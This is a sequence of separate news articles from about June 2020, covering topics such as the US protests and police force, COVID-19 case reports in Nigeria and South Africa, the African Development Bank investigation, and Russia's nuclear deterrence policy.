The two Guard members were taken to a local hospital, where they were listed in stable condition, the Bureau said, adding that they will remain there for at least 24 hours for observation.

Officials did not have immediate information on exactly where and when the two Guard members were injured, or indicate whether they were Army or Air National Guard. Their identities have not been disclosed.

However, the District's Fire Department, in a Twitter post, said that the two were injured shortly after midnight while on duty in the vicinity of Lafayette Square across from the White House. It described their injuries as "non-life threatening."

The two are part of a still-building force of National Guard troops, whose armored vehicles have been an increasing presence on the streets.

More than 1,600 members of the District of Columbia National Guard have been activated to assist in controlling the protests and guarding historic sites and landmarks.

The D.C. units have been bolstered by more than 4,000 National Guard members from other states, including South Carolina, Florida, Indiana, Maryland, Missouri, Mississippi, New Jersey, Ohio, South Carolina, Tennessee, Utah and Idaho, the Bureau said.

More than 1,600 active-duty troops also have been posted to bases on the outskirts of the District to be on call if needed.

On Thursday, the Defense Department said that several hundred members of the Army's famed 82nd Airborne Division who had been sent to bases outside D.C. would return to Fort Bragg, North Carolina.

-- Richard Sisk can be reached at Richard.Sisk@Military.com.

Related: Utah Guard Sends Green Berets to DC to Assist in Civil Unrest Response
An additional 24 patients have recovered from coronavirus infection in Lagos and have been discharged from the states isolation centres, the state governor has announced.

Giving update on the patients, Governor Babajide Sanwo-Olu, the COVID-19 Incident Commander in Lagos, said on Thursday that the patients tested negative to the virus and have been reunited with the society.

The recovered patients include 15 males and nine females. This brings the total discharged cases in the state to 952.

Today, 24 more fully recovered COVID-19 Lagos patients; 15 males and 9 females, all Nigerians were discharged from the Onikan, Gbagada, Agidingbi and Lagos University Teaching Hospital (LUTH) Isolation facilities to reunite with the society.

The patients, 4 from Onikan, 1 from Gbagada, 1 from Agidingbi and 18 from LUTH Isolation Centres were discharged having fully recovered and tested negative to COVID-19.

With this, the number number of COVID-19 confirmed cases that have been successfully managed and discharged in Lagos has risen to 952, he said.

New cases

Lagos recorded 102 new cases of COVID-19 on Thursday, according to the Nigerian Centre For Disease Control (NCDC).

While total confirmed cases rose to 5,542 in Lagos on Thursday, Nigeria now has 11,516 confirmed cases, 3535 recoveries and 323 deaths.

Residents are urged to keep practising the health guidelines stipulated by the authorities and keep themselves safe from contracting the infection.
The waterfront stretching 23 kilometers along the banks of Shanghais Huangpu River is now the favorite leisure space of Shanghai citizens. The brand new landmark of Shanghai, which took 15 years to construct, serves as an important link between the metropolis economic center and densely populated areas.

Forty years ago, this place was occupied by roaring engines of major state-owned enterprises. Now, gigantic factories and tower cranes have been transformed into public buildings and incorporated into the urban landscape, inheriting the history of the city.

The narrow piece of land was the largest energy supply and industrial base of modern Shanghai. Setting numerous records in Chinas history of industry, it is hailed a corridor of modern Chinese industrial civilization.

The former industrial belt was home to a number of enterprises, wharfs, plants and warehouses that created 600,000 jobs, and its industrial output once accounted for a quarter of Shanghais total. It was the birthplace of many renowned Chinese brands. Besides, Shanghais water, power and gas supplies also came from there.

Factories sat along the river in belt shapes. Raw materials and products were handled at wharfs. We worked at workshops, and urban life stopped half a kilometer away from the river, said 89-year-old Huang Baomei, who was once a model worker of a state-owned textile factory located on the former industrial belt. She still has a fresh memory of the place which now has turned into the modern waterfront. During rush hours, the buses were so crowded that they couldnt even close the doors. Roadside diners were still lighted when workers went home from night shift, she said.

However, many factories were closed due to the transformation of the city and restructuring of industries in 1990s, and a large number of labor-intensive enterprises, such as textile factories, moved production lines to other areas, leading to a drastic fall in the number of workers in the region, from a peak of 600,000 to just 60,000. Ever since, weed had grown wild in waste plants where rust began to encroach workshops and machines.

No one had ever expected that the deserted area would become a major highlight and unique advantage of the waterfront.

In 2002, Shanghai won the bid to host the Expo 2010, and both sides of the Huangpu River were chosen as the site to host the event. In the same year, the city initiated comprehensive development of the Huangpu River banks and elevated it as a major strategy.

The construction of the public space on the waterfront was more like a delicate archaeological discovery and restoration.

The sludge tanks and large criss-cross pipes at Shanghai Soap Factory, the predecessor of what is now Shanghai Soap Co., Ltd., were turned into a leisure space for reading, conversation and relaxation by architect Zhang Bin. Liu Yuyang, another architect, removed the roofs of the old warehouses at a boiler plant, transforming the abandoned buildings into a perfect space for exhibitions. Designer Guo Yifeng took a long time along the river banks observing the growth of different plants to finalize greening plans.

Cases like these are common along the two banks of the Huangpu River waterfront. All the details of the construction and design had been polished again and again by excellent designers from both home and abroad.

The waterfront, spanning between Yangpu and Xupu bridges, opened to public at the end of 2017. It is now a favored shooting location for photography enthusiasts, an internet-famous site for young generations, and a perfect place for joggling and other sports. Besides, it also serves as an ideal place for outdoor activities of children and friends gathering.

For Huang, the waterfront is a piece of nostalgic land covered by both flashbacks and drastic changes, as the diligent model worker once experienced sorrow when the former industrial belt went rusty, and is now feeling happiness living in a modern riverside house.

Im proud of having witnessed the giant strides of this place in the past decades, Huang said.
The sovereignty and territorial integrity of Ukraine are fundamental for Poland, and it realizes that negotiations in the Normandy format, negotiations of the Trilateral Contact Group in Minsk are a line where there is no compromise, said Polish Ambassador to Ukraine Bartosz Cichocki.

"For us, the matter of principle is the sovereignty and territorial integrity of Ukraine. We understand that these negotiations in the Normandy format, the negotiations of the Trilateral Contact Group in Minsk are a line where there are no compromises," he said in an interview with Interfax-Ukraine.

The diplomat also stressed that Poland is very interested in new initiatives by the government of President Zelensky, the intensification of this dialogue and the increase in the political level of the delegation in Minsk.

"We understand that not everything was successful, but there is a new dynamic that has not existed for a long time: there were exchanges of prisoners, there are disengagement zones, there is a talk about the next zones of disengagement of forces. Today [on June 2], head of the Office of the President of Ukraine Andriy Yermak and Foreign Minister Dmytro Kuleba are paying their visit to Berlin, there is dynamics in the Normandy format, the negotiator has changed on the Russian side, and of course on the Ukrainian side, too, after the election," he added.

According to him, Poland is in constant contact with German and French colleagues.

"As a neighboring country, we do care how this conflict is resolved and what the fate of people in Donbas or Crimea is. Recently, on the anniversary of the annexation of Crimea, I've had a meeting with leaders of the Crimean Tatar people. In particular, as a non-permanent member of the United Nations Security Council in 2018-2019, Poland constantly emphasized this topic. Annexation of Crimea, illegal actions of Russia should be condemned and stopped. But also there are human rights in the occupied territory, and we must respect them. Unfortunately, Russia behaves irresponsibly with people who live in the occupied territory," the ambassador said.

In addition, Cichocki drew attention to the fact that Poland is following the attempts to organize local elections in Ukraine, including with the occupied territories of Luhansk and Donetsk regions, in October, and this will also be a challenge for it, and a very important point, as for a member country of the OSCE.
Cuba says new US sanctions designed to affect Cuban families

Iran Press TV

Thursday, 04 June 2020 8:28 AM

Cuba has denounced as "shameful and criminal" the latest sanctions imposed by the United States on the Caribbean country, saying they are designed to affect Cuban families.

Cuban Foreign Minister Bruno Rodriguez slammed the new US sanctions on his Twitter account, following an announcement by US Secretary of State Mike Pompeo on Wednesday that Washington was adding seven new entities to a list of sanctions.

"I strongly reject sanctions announced by Secretary Pompeo against 7 entities of Cuba, designed to affect Cuban families. Shamefully and criminally tightening the blockade during COVID19," Rodriguez tweeted on Thursday.

Pompeo only identified one of the entities, "financial institution FINCIMEX," which he said "controls the flow of hard currency that belongs to the Cuban people."

The other targeted entities were unnamed hotels, scuba-diving centers, and a marine park for tourists.

Cuba and the US had severed relations in 1961 during the Cold War, two years after the two countries became ideological foes following the Cuban Revolution, which brought the late Fidel Castro to power.

In July 2015, the US under ex-President Barack Obama restored diplomatic relations with Cuba. However, his successor, Donald Trump, began to partially roll back the historic rapprochement as soon as he took office in early 2017.

The US has also stepped up its sanctions against Cuba as a punishment for its support for the legitimately-elected government in Venezuela.

Washington seeks to overthrow the government of Venezuelan President Nicolas Maduro.

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Companies reopening on Monday who fail to adhere strictly to the national return to work safely protocol could face closure.

The Irish Congress of Trade unions says businesses cannot cut corners and compromise on workplace safety.

Workers will have to keep a distance of two metres from others and the social distancing requirements will also apply to any customers.

According to the roadmap, which has not yet been confirmed, the next phase will mean that small retail outlets will reopen with a small number of staff on the basis that the retailer can control the number of individuals that staff and customers interact with at any one time.

Large retail shops are expected to be allowed to open from Monday as the Government signs off on entering phase two of the easing of Covid-19 restrictions.

This will exclude stores in shopping centres and they will need to have a ground-level open entrance.

ICTU general secretary Patricia King said that, under the workplace representative infrastructure, the rep is entitled to inform the health and safety authority of any breaches.

Ms King said: "Their role will be to ensure that, on foot of health and safety, all the provisions are being met, and if they are not met that representative is then entitled to feed that information to the Health and Safety Authority.

"The Health and Safety Authority will inspect the place of work and do what is necessary up to and including the closure of the business."
New Delhi :

The Aam Aadmi Party put up a brave face after the Supreme Court on Friday refused to stay the August 4 verdict of the Delhi High Court on the LG's powers, saying it should not be treated as a "setback" and the party has full faith on the judiciary.

"Terming it as a setback would be wrong as Supreme Court has listed the matter for further hearing and also said that it may consider sending the petitions to a larger bench. The party has full faith on the judicial proceedings," AAP Delhi Convenor Dilip Pandey said.

The Delhi government has filed six appeals challenging the HC judgement that held the Lieutenant Governor (LG) as the administrative head of the national capital. SC today sought response from the Centre on these. However, the SC refused to stay the operation of August 4 verdict of the high court and said it would rather list the matter for final hearing on November 15.

The bench said it may consider referring the petitions to a larger bench after hearing arguments. The bench also did not agree with the contention that the decision of Lieutenant Governor Najeeb Jung to set up a three-member committee to look into the past decisions of the Delhi government should be stayed.

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The Bureau of Board of Governors of the African Development Bank Group has approved an independent investigation of the allegations against the President of the Bank, Akinwumi Adesina.

The decision, taken at the meeting of the Bureau Thursday regarding the whistle-blowers complaints against Mr Adesina, is in deference to the demand by the U.S. government that a fresh and in-depth investigation be conducted into the allegations against Mr Adesina using an independent investigator.

On May 5, the ethics committee of the continental bank, headed by Takuji Yano, said in its report that Mr Adesina was not guilty on all counts.

Mr Yano is a Japanese executive director charged with the responsibility of investigating allegations by some concerned employees against the Banks president.

The committee described the allegations that Mr Adesina violated the code of conduct of the institution as spurious and unfounded.

Regardless, the United States government expressed deep reservations about the integrity of the committees process and called for a fresh in-depth investigation of the allegations using an independent investigator.

A Fresh Probe

At the end of its meeting Thursday, the Bureau of Board of Governors issued a communique, agreeing with the U.S and authorizing an independent review of the ethic committees report.

The communique, signed by the Chairperson of the Bureau of the Boards of Governors, Niale Kaba, reads,

The Bureau reiterates that it agrees that the Ethics Committee of the Boards of

Directors performed its role on this matter in accordance with the applicable rule under Resolution B/BG/2008/11 of the Board of Governors.

The Bureau also reiterates that the Chairperson of the Bureau of the Board of

Governors performed her role in accepting the findings of the Ethics Committee in accordance with the said Resolution.

However, based on the views of some Governors on the matter and the need to carry every Governor along in resolving it, the Bureau agrees to authorize an Independent Review of the Report of the Ethics Committee of the Boards of Directors relative to the allegations considered by the Ethics Committee and the submissions made by the President of the Bank Group thereto in the interest of due process.

The Independent Review shall be conducted by a neutral high calibre individual with unquestionable experience, high international reputation and integrity within a short time period of not more than two to four weeks maximum, taking the Bank Groups electoral calendar into account.

The Bureau agrees that, within a three to six month period and following the independent review of the Ethics Committee Report, an independent comprehensive review of the implementation of the Bank Groups Whistle-Blowing and Complaints Handling Policy should be conducted with a view to ensuring that the Policy is properly implemented, and revising it where necessary, to avoid situations of this nature in the future.

The AfDB President is yet to react to the latest decisions by the Board of Governors. But he has repeatedly denied wrongdoing.

On a visit to President Muhammadu Buhari on Tuesday, Mr Adesina, a former Nigerian Minister for Agriculture, said the 16 allegations raised against him were trumped up, and without facts, evidence, and documents, as required by the rules and regulations of the bank.

President @MBuhari receives President of African Development Bank (AfDB), Dr. @Akin_Adesina, at the State House, Abuja. [PHOTO CREDIT: BASHIR AHMAD]

He added that the Ethics Committee of the bank cleared him of all the allegations, and that calls for a fresh investigation by the United States of America, were against the rules.

My defence ran into 250 pages, and not a single line was faulted or questioned, he said.

The law says that report of the Ethics Committee should be transmitted to the Chairman of Governors of the bank. It was done, and the governors upheld the recommendations.

That was the end of the matter, according to the rules. It was only if I was culpable that a fresh investigation could be launched.

I was exonerated, and any other investigation would amount to bending the rules of the bank, to arrive at a predetermined conclusion.

While stressing that the motive was to soil his name, and that of the bank, the AfDB President said he was proud to be Nigerian, and thanked President Buhari for his unflinching support.

Nigeria is the largest shareholder of the African Development Bank.

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Allegations

In its petition, the concerned staff accused Mr Adesina of 20 breaches of the banks code of conduct, including unethical conduct, private gain, an impediment to efficiency, preferential treatment, and involvement in political activities.

The group, which noted their allegations were in line with AfDBs whistle-blowing policy, said these activities adversely affected the confidence and integrity of the bank.

PREMIUM TIMES exclusively obtained the boards letter that exonerated Mr Adesina. In it, the chair of the board of governors, Ms Kaba, said the ethics committee proposed to adopt the conclusions of the investigation after due consultations.

U.S Govt and AfDB

The U.S. became a member of the African Development Fund in 1976 and of the African Development Bank in 1983. Also, its bilateral cooperation with the bank has been strengthened through cooperation agreements.

First, in 2008, a Memorandum of Understanding was signed with USAID to launch a five-year partnership in support of African small and medium-sized enterprises by accelerating investment. It also provides co-financing arrangements for a shared contribution of 40% for the Bank, 10% for USAID and 50% for other partnering banks.

Another MoU was concluded in May 2016 with the Millennium Challenge Corporation that provides for sharing information and data, particularly in the power sector, with a focus on mobilizing private investment.

In 2012, USAID contributed to the Migration and Development Initiative, a Multi-Donor Trust Fund aimed at improving knowledge on migrant remittances in Africa and providing support to reforms of the regulatory frameworks required to improve transfer conditions, among other mandates.
UN: Thousands Killed with Impunity in Philippines Illegal War on Drugs

By Lisa Schlein June 04, 2020

A new United Nations report accuses the Philippines' government of waging an illegal campaign against suspected drug users in which thousands are being killed and arbitrarily arrested with impunity. The report released by the U.N. Human Rights Office Thursday calls for justice for the victims and for perpetrators to be held accountable for their crimes.

This hard-hitting report sets out in stark terms the devastating toll the government's war on drugs has taken on the Philippine people. It says the government's focus on countering security threats and illegal drugs has resulted in widespread and systematic killings of thousands of alleged drug suspects and human rights defenders over the past five years.

According to official government figures, more than 8,600 people have been killed. But the U.N. Human Rights Office estimates the real number to be at least three times higher. Yet, during this time, it notes only one policeman has been convicted of killing a drug suspect.

The main author of the report, Ravina Shamdasani, says key policy documents relating to the campaign against illegal drugs lack legal protections. She says they also contain troubling language, such as "negation" and neutralization" of drug suspects.

"While these terms are not specifically defined, when you couple the use of such ominous language with the kind of high-level rhetoric calling for the killings of suspected, of drug offenders, we find that this may amount to a permission to kill. This may be interpreted by police as a permission to kill," she said.

The report finds police routinely make house arrests without warrants. It says there is evidence of police coverups of killings of unarmed victims. It says most of the victims of the illegal drug campaign appear to be men from urban communities living in poverty.

But Shamdasani tells VOA that data about how many people have been killed and who they are is very limited.

"What their socioeconomic backgrounds were," she said. "You know, the gender, where they lived and even whether they were users of drugs or involved in the drug trade, for example. Now, our position is clear. People who use drugs or sell drugs do not lose their human rights. In fact, the U.N. advocates for the decriminalization of the possession of drugs."

The Human Rights Office says it shared the first draft of the report with the government last week. It says the government provided a number of substantive comments, many of which have been incorporated in the report. However, it adds there has been no official response since the report was released.

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A Douglass (Mont.) man was sent to state prison for his role in the fentanyl overdose death of another man he reportedly considered his best friend and whose body was left on a patch of grass outside Pottstown Hospital during...
Most of its members are MPs of Servant of the People faction

The Ukrainian parliament building 5 channel

Verkhovna Rada of Ukraine has established a Temporary Special Commission (TSC) for the protection of investors' rights. 319 MPs voted for the corresponding draft resolution  2601.

Online broadcast was conducted by 112 Ukraine TV channel.

Most of its members are MPs of Servant of the People faction:

Halyna Yanchenko (Servant of the People) - head of the TSC; Anton Zalizniak (Holos) - Deputy Chairman; Oleksii Krasov (Servant of the People); Andrii Kostin (Servant of the People); Dmytro Natalukha (Servant of the People); Vladlen Nekliudov (Servant of the People); Halyna Mykhailiuk (Servant of the People); Serhii Ionushas (Servant of the People); Artem Kultenko (Servant of the People); Ihor Abramovych (Opposition Platform - For Life); Andrii Nikolaienko (Batkivshchyna); Larysa Bilozir (Za Maibutnie)

According to the document, TSC will prepare (and submit to the parliament) legislative initiatives on the protection of the rights of investors that ensure equal protection of rights, interests and property of investment entities regardless of ownership, as well as effective investment in the Ukrainian economy, international economic development. cooperation and integration.

As we reported earlier, on May 30, Ukraine's Cabinet of Ministers signed a memorandum with nine banking institutions on credit holidays for entrepreneurs during the year.
South Africa: North West fights to stop COVID-19 infections in mines

The North West Health Department has expressed concern about the rapid spread of COVID-19 in the provinces mines, as the number of cases rose to 314, as of Wednesday.

According to the departments spokesperson, Tebogo Lekgethwane, 74 confirmed cases, previously allocated to Gauteng, have since been reallocated to the province after data harmonisation and the verification of addresses.

[The] majority of these cases are mine-related in Rustenburg, he said.

Lekgethwane said mines have become hotspots for Coronavirus in the province and they are working around the clock to curb the infections in these communities.

Miners should be screened before they start work and those who come from hotspot provinces like the Western Cape, Gauteng and the Eastern Cape should be screened and tested before they start work, he said.

He urged companies to ensure that mineworkers who test positive for COVID-19 are isolated with their contacts at quarantine sites approved by government.

Mines that were lagging behind in terms of compliance and case management have been ordered to work with district health chief directors to ensure compliance, Lekgethwane added.

The North West Health MEC, Madoda Sambatha, has since been visiting mining houses in the province to assess the level of compliance with lockdown regulations.

Hotspot districts



The Bojanala District is the provinces epicentre, with the highest cases at 186, with 33 recoveries and one death, followed by Dr Kenneth Kaunda at 99, with 20 recoveries.

Meanwhile, Ngaka Modiri Molema now has 19 cases with five recoveries, while Dr Ruth Segomotsi Mompati District has five cases and one reported recovery.

Of the total confirmed cases, the majority are linked to mines in Bojanala Platinum, Dr Kenneth Kaunda and Ngaka Modiri Molema.

The province said they have now screened over three million people.

This is good progress, considering the total population of North West now stands at just below four million people.

Mass screening and contact tracing remain key to prevention of rapids infections and all districts are above 90% contact tracing and all suspected cases are referred for testing, Lekgethwane said, adding that they have tested 2 636 people.

Treatment protocol, PPE and quarantine facilities

Lekgethwane said a lot was achieved during lockdown level 4 and 5.

Treatment protocols have been developed for a coherent response in the screening, testing and treatment of suspected, as well as confirmed cases.

The province has also increased bed availability through partnerships with the private sector and mining companies.

We have also ensured the availability of medicines required to treat the complications of COVID-19, analgesic, antipyretics, antibiotics, anti-inflammatories, anticoagulants, Zinc Sulphate and Vitamin C, said Lekgethwane.

In addition, hospital capacity has been ramped up by a collaboration between the public and private health, as well as the mining sectors.

The department will continue to enhance the capacity of hospitals to ensure that services can be rendered should the need arise. We are currently now planning a field hospital for additional beds, said Lekgethwane.

The province is also obtaining the required equipment such oxygen points and more ventilators. The availability of Personal Protective Equipment (PPE) has been stabilised and measures are in place for continual procurement.

The forensic services and mortuary services capacity has received attention as well.

To this effect, today [Thursday] the Deputy Minister is officially opening a forensic pathology mortuary at Brits Hospital in Madibeng. This is part of the provinces infrastructure preparedness, Lekgethwane said.

The new forensic pathology mortuary has a body storage capacity of 11 and 40 shelves for decomposed bodies.

The hospitals have an arrangement with private mortuaries for additional capacity. There is also a provincial standard operating procedure that directs the management of human remains of COVID-19, said Lekgethwane.

The department is also ensuring that frontline workers have PPEs, psychosocial support and vaccination.

The department has rolled out an extensive training program in the prevention and management of COVID-19 for its employees, as well as the private sector. This continued under level 4, as more information on the disease becomes available and the pandemic evolves, the spokesperson explained.

The North West currently has quarantine facilities and 397 active beds in Bojanala, 126 in Dr Kenneth Kaunda, 137 in Dr Ruth Segomotsi Mompati and 81 in Ngaka Modiri Molema.

We also have adequate quarantine facility beds in the mines, both in Bojanala and Dr Kenneth Kaunda, said Lekgethwane.

He said the province is prepared for level 3 lockdown.

Hotspots have been identified across the province and plans for intervention will be implemented.  SAnews.gov.za

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
WBFO Screenshot

Peaceful protests in New York took a dark turn late Thursday as graphic video emerged of an elderly man being knocked to the ground by police in Buffalo and protesters in New York City were confronted with swarms of police officers using heavy-handed tactics to enforce a statewide 8 p.m. curfew.

The shocking incident in Buffalos Niagara Square occurred outside City Hall, where video posted by local media shows the man approaching police as they attempt to clear the square, only for him to be violently shoved. He then falls backward and slams his head into the ground, left seemingly unconscious as protesters can be heard screaming Hes bleeding out of his ear!

Buffalo police later released a statement saying they had arrested four people and that a fifth person was arrested during a skirmish with other protesters.

Cops claimed in the statement during that skirmish involving protesters, one person was injured when he tripped & fell.

Buffalo Police Commissioner Byron Lockwood initially told The Daily Beast authorities were looking into the shoving incident, though he said he hadnt seen the video. Moments later, he ordered the immediate suspension of the two officers involved. Mayor Byron Brown issued a statement saying he was deeply disturbed by the video after two Buffalo Police officers knocked down a 75-year-old man, leaving him in stable but serious condition. He said the officers involved had already been suspended without pay.

Early Friday, Erie County Executive Mark Poloncarz said the elderly man was at a hospital in the city and is expected to recover from his injuries, but added simply put, the officers must be held responsible for their actions, not just fired.

New York Gov. Andrew Cuomo was also quick to condemn the incident, which he called wholly unjustified and utterly disgraceful. On Friday, he said the Eerie County District Attorney was looking at potential criminal charges against the officers involved. But on Thursday, he had flat out denied that police officers in New York City were guilty of using excessive force, calling it incendiary rhetoric to suggest otherwise, despite numerous videos capturing heavy-handed tactics.

Story continues

Even as Cuomo condemned the Buffalo violence late Thursday, large groups of cops in the Bronx and Brooklyn were captured on video enforcing the curfew with force, using batons on protesters who had been demonstrating peacefully.

The crackdown came after city leaders had spent much of the day defending the NYPD against accusations of excessive force. After a spate of videos went viral showing police officers apparently using brutal tactics against protesters earlier this weekin one instance driving into a crowd, in another striking protesters with batons even as they walked awayboth Mayor Bill de Blasio and NYPD Commissioner Dermot Shea on Thursday praised police officers for their restraint during the unrest. Shea pleaded for an end to violence against cops and vowed to hold police officers accountable for excessive force, saying some would probably face suspension.

Simon Ostrovsky for The Daily Beast

Protesters told The Daily Beast it was delusional for Cuomo to claim police haven't been using excessive force in recent protests.

I think its delusional, I think its willful ignorance, and I think its dangerous, Derek Ingram told The Daily Beast. Black bodies have been vilified for so long that I think statements like that, with how violent police are, make it even more dangerous. Its scary.

Police brutality is so ingrained in our culture, a statement like that isnt going to do anything. It has to take fundamental re-training of police. And I dont think a mere statement is going to change that, he said.

Other protesters said the NYPD was responding to the protests against police brutality with more police brutality.

I dont know what Cuomo has been watching, but Ive seen police officers, theyre not agitated, and theyre using the same kind of force that got us here in the first place, Richard Edwards said.

We hear from commissioners in the past over and over, what they say on a public platform and what happens in reality are two different things, he said.

Cops were not just aggressive with protesterscredentialed members of the media were also targeted.

Brooklyn Paper reporter Ben Verde, who was reporting from a protest in Williamsburg that turned ugly when cops charged at protesters, tweeted that police told him I dont care, go home when he held up his NYPD press credentials. Media are considered essential workers and are exempt from the curfew.

Verde said a senior officer threatened to take his press pass if he didn't leave.

NYPD spokesperson Sergeant Mary Frances ODonnell told The Daily Beast late Thursday that the department would look into Verdes account but offered nothing further.

Just after midnight, De Blasio posted tweets urging police to allow food delivery workers to do their jobs past the curfew, after video emerged of a staffer being arrested. He also said he was urging the NYPD to treat journalists as essential workers, adding We WILL protect their rights. The public depends on the information they provide.

Verde told The Daily Beast hes been covering the protests all week but this is the first time he has had a run-in with cops. It was clear that not only were they trying to clear the streets they were trying to clear cameras from the streets, he said.

That incident is just the latest in a series of hostile and ugly encounters members of the media have encountered with the NYPD in the course of their reporting since protests kicked off. A HuffPost reporter was arrested and later released while covering protests Saturday, while on Tuesday a team from the Associated Press were harassed and threatened by cops.

Despite the flare-ups of violence in New York, protests in other cities took on a calmer tone in their sixth day.

In Washington, D.C., a determined crowd of protesters gathered outside the White House. The heavy military and law enforcement presence thats come to define the protests in the nations capital was on display, as military vehicles manned by National Guard personnel hemmed in the crowds and were stationed in corners around downtown Washington.

Despite those surroundings, demonstrators described a positive and upliftingnot menacing vibe to the days proceedings.

This is love, said Mikey Dee, a 33-year old man who brought his daughter to the protests. This is a mark in history.

Clearly, its making a difference, said Mangus Wilson, a 32-year old D.C. area resident who was passing out bottles of water. But he said he, and others, would keep showing up every day. Theres no end in sightits like corona.

As a crowd gathered on the steps of the Lincoln Memorial, apocalyptic thunderstorm clouds moved in at a rapid clip around 8 p.m. When intense wind, rain and lightning hit, most protesters dispersed but a determined crew remained outside the White House until the rain passed, wearing ponchos and staring into police floodlights.

Joe, a 42-year-old protester from New York wearing a soaked white shirt with the words no peace written on it, was taking a break from shouting chants in the corner.

Itd take a hurricane to stop us, he said. s

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Tokyo Metropolitan Police have arrested a 21-year-old male university student over the alleged swindle of an elderly woman in Yokohama City, reports TV Asahi (June 4).

In April, Yuta Kodama, a student at a private university, worked with accomplices to pose as a police officer and obtain three bank cards from the woman, aged in her 80s.

Thereafter, Kodama used an ATM machine at a post office in Tokyoas Minato Ward to withdraw 1 million yen.

The following day, he returned to the same machine. However, a staff member, noting something suspicious, alerted police.

Police suspect that Kodama used the card to withdraw an additional 3 million yen on another occasion.
Mumbai, June 5 : Amitabh Bachchan has opened up on his experience of wearing heavy prosthetics while shooting for Shoojit Sircar's "Gulabo Sitabo" in Lucknow during the peak of summer.

The veteran actor shared a few stills from the sets of the film on his blog. He wrote: "In one of the pictures you see the dress I wear has openings form the back .. that is the directors input .. knowing we would be working in Lucknow at the peak of Summer .. the UP summer .. into at times 50 degrees Centigrade, he felt that I would be requiring frequent clothing changes due to the perspiration .. and changing the top with the prosthetics and hair would make if difficult for the actor if the buttons were in front .. the dress or the kurta would have to go off the top of the head to be removed .. but with the opening at the back it could be conveniently slipped off without going over the head .. it could been slipped of if in front too .. but then the front would look awkward .. so .." Talking about how shoot would start early to avoid the searing Uttar Pradesh summer afternoons, he mentioned: "The start of the shoot was always kept very early in order to not get into the sun in the late hours when at its maximum .. and give a break at noon with the overhead sun, also not convenient for filming camera light wise , to allow the evening to set in and cool down .." "SO .. the early start is a nightmare for the prosthetic made up guy .. shot to be taken at sun rise by 6.30 am , means in the make up van at 3.30 am !!" Big B further revealed what difficulties he experienced while shooting in prosthetic makeup in such scorching heat, and how his lower back hurt due to the walking posture of his character, an old man named Mirza.

".. the prosthetic make up is always an issue during hot weather .. it tends to melt away the sticking glue and destroy the prosthetic .. adequate care on set was taken then to keep the face cool .. its a requirement from the make up department .. one that I abhor .. the cooling systems on set , yes provide the air conditioned air , but then with the frequency of shots the continuous in and out of the cool into the heat is a bad precedent for me .. either I remain cool or remain hot .. and if this can be called a metaphor, a figure of speech, it is completely unintended .. !!" "... and yes when the entire shoot day is with that awkward walk .. the lower back simply breaks down .. cant sit cant lie down .. cant do nothing .. pain killers not allowed .. pain relieving sprays , be just sprays with no effect .. !!" "So want to be an actor..get on with it..and stop complaining!" he concluded.

"Gulabo Sitabo" is slated to premiere on Amazon Prime Video on June 12. The Shoojit Sircar directorial also stars Ayushmann Khurrana.

-- Except for the title, this story has not been edited by Prokerala team and is auto-generated from a syndicated feed
Russia to never initiate use of nukes: Kremlin

People's Daily Online

(Xinhua) 09:19, June 04, 2020

MOSCOW, June 3 (Xinhua) -- Russia will never initiate the use of nuclear weapons, Kremlin spokesman Dmitry Peskov said regarding the country's newly released nuclear deterrence policy on Wednesday.

The policy unveiled on Tuesday specifies the situations that could lead Russia to retaliate for foreign nuclear attacks, Peskov told a daily briefing.

On Tuesday, Russian President Vladimir Putin signed a decree on the fundamentals of the country's state policy of nuclear deterrence.

"The Russian Federation reserves the right to launch a nuclear strike either in response to a similar attack or in the event of a threat to the existence of the state," the decree reads, stressing that the policy is defensive in nature.

The nuclear deterrence policy was published openly for the first time in the history of the Soviet Union and modern Russia, according to Victor Murakhovsky, editor-in-chief of the Russian magazine Arsenal of the Fatherland.

Russia chose to elaborate on its strategy to use nukes at a time when the New Strategic Arms Reduction Treaty (New START) is due to expire in February 2021 and the Intermediate-Range Nuclear Forces (INF) Treaty has already collapsed, Murakhovsky said.

At the same time, the United States and its allies from the North Atlantic Treaty Organization are strengthening their military presence in Europe near Russia, he noted.

The uncertain fate of the New START and the termination of the INF Treaty pose a threat to global strategic stability, said Igor Korotchenko, editor-in-chief of the Russian magazine National Defense.

Russia's nuclear deterrence policy has sent a signal to the United States that red lines exist, and Russia shows the practical readiness to use nuclear weapons in response to crossing them, Korotchenko said.

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The Gambian government is calling for an investigation into the death of Momodou Lamin Sisay, the 39-year-old son of a retired United Nations employee who was fatally shot by a police officer in Snellville, Georgia, in the early morning hours of May 29.

The case comes in the midst of a nationwide protest movement against police violence, and although the police say Sisay shot at them before he was killed, the outcry over his death reflects the mounting public skepticism over U.S. police departments use of force against Black men.

A protest march against police brutality planned in Snellville in the coming days, spurred by the death last week of George Floyd in the custody of the police in Minneapolis, will also include the case of Sisay.

In Gambia, many people took to social media to deplore the incident and criticize their government for not speaking out sooner.

One of the countrys most prominent human rights activists, Madi Jobarteh, started a petition protesting Sisays death, which he said would be delivered to the U.S. Embassy in Banjul on Monday. If the nations coronavirus restrictions are lifted by then, he said there would also be a protest outside the embassy.

Sisays father, Lare Sisay, who worked for the U.S. before he retired, described his son as very pious and someone who goes to the mosque and prays.

He wasnt into any sort of trouble that I am aware of, he told the Fatu Network, the most prominent news site in Gambia, adding, He does not like violence of any kind. On his Facebook page, Lare Sisay said he formerly worked for the U.N. Development Program.

Taking to social media, the elder Sisay connected his sons death to the problem of police violence against Black men.

America is burning! Lets pray for our loved ones out there cause theyd need it! he wrote on Facebook the day after his son was killed. Overt racism is tearing America at the seams and the Black community is at the receiving end of the overt racism where police men kill Black men at will.

Butch Sanders, the city manager of Snellville, said the timing of Momodou Sisays death was unfortunately close to that of Floyd, but that the two incidents should not be compared. He said the police report states that Sisay pointed his gun at the officers before they opened fire, and discharged his own revolver five times during the altercation.

We pride ourselves that we have a professional police force that makes good decisions, and I can tell you that this situation is 180 degrees different from the George Floyd situation, he said. Its just a terrible unfortunate incident, and the timing is obviously awful. Its just the facts are so much different.

The fatal encounter began around 4 a.m. on May 29, when Sisay refused to stop his car as police officers attempted to pull him over for having expired registration tags, according to a preliminary report from the Georgia Bureau of Investigations. The police then initiated a pursuit intervention technique which caused the vehicle to leave the roadway, the report said. Sisay refused to comply with verbal orders to raise his hands and instead flashed a handgun at officers, it said.

An officer fired at Sisay, then retreated for cover, after which Sisay revved his engine, attempting to flee the scene, the report said. Officers called for backup from the Gwinnett County SWAT team, but Sisay continued to refuse to comply with verbal orders and instead fired his weapon at the officers. One officer returned fire, killing Sisay, the report said.

